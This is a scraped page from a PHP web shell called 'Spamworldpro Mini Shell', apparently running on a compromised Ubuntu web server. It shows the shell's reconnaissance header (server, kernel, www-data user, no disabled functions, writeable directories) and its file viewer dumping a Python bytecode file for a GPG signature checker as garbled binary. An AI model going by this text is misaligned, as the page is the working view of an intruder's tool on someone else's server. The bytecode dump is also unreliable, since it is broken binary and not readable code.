Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/landscape/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/landscape/lib/__pycache__/gpg.cpython-310.pyc
o

���c�@sNddlZddlZddlZddlmZddlmZGdd�de�Zd
dd	�ZdS)�N)�glob)�getProcessOutputAndValuec@seZdZdZdS)�InvalidGPGSignaturez:Raised when the gpg signature for a given file is invalid.N)�__name__�
__module__�__qualname__�__doc__�r	r	�3/usr/lib/python3/dist-packages/landscape/lib/gpg.pyr
sr�/usr/bin/gpg�/etc/aptc		s��fdd�}�fdd�}t���ttjdd�ttd�|��td�|���D���}d	d
�ddf|d
||f}t�|d�}|�	|�|�
|�|S)a�Verify the GPG signature of a file.

    @param filename: Path to the file to verify the signature against.
    @param signature: Path to signature to use.
    @param gpg: Optionally, path to the GPG binary to use.
    @param apt_dir: Optionally, path to apt trusted keyring.
    @return: a C{Deferred} resulting in C{True} if the signature is
             valid, C{False} otherwise.
        cst���|S)N)�shutil�rmtree)�ignored)�gpg_homer	r
�remove_gpg_homes
z#gpg_verify.<locals>.remove_gpg_homecs@|\}}}|�d�|�d�}}|dkrtd�|||f��dS)N�asciirz)%s failed (out='%s', err='%s', code='%d'))�decoder)�args�out�err�code)�gpgr	r
�check_gpg_exit_codes

��z'gpg_verify.<locals>.check_gpg_exit_codecSsg|]}d|f�qS)z	--keyringr	)�.0�keyringr	r	r
�
<listcomp>'s��zgpg_verify.<locals>.<listcomp>z{}/trusted.gpgz{}/trusted.gpg.d/*.gpgz--no-optionsz	--homedirz--no-default-keyringz--ignore-time-conflictz--verify)r)�tempfile�mkdtemp�tuple�	itertools�chain�sortedr�formatr�addBoth�addCallback)	�filename�	signaturer�apt_dirrr�keyringsr�resultr	)rrr
�
gpg_verifys*	��
����

r+)rr)	r r
rr�twisted.internet.utilsr�	Exceptionrr+r	r	r	r
�<module>s

Spamworldpro Mini